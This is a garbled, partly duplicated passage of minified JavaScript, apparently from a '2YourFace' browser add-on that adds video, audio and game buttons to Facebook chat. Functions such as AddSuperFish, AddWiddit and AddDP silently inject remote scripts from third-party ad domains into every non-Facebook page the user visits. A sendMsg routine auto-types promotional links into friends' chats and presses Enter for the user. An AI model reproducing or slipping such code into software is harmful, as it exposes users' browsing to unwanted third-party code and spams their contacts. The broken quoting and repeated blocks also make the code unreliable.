title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var 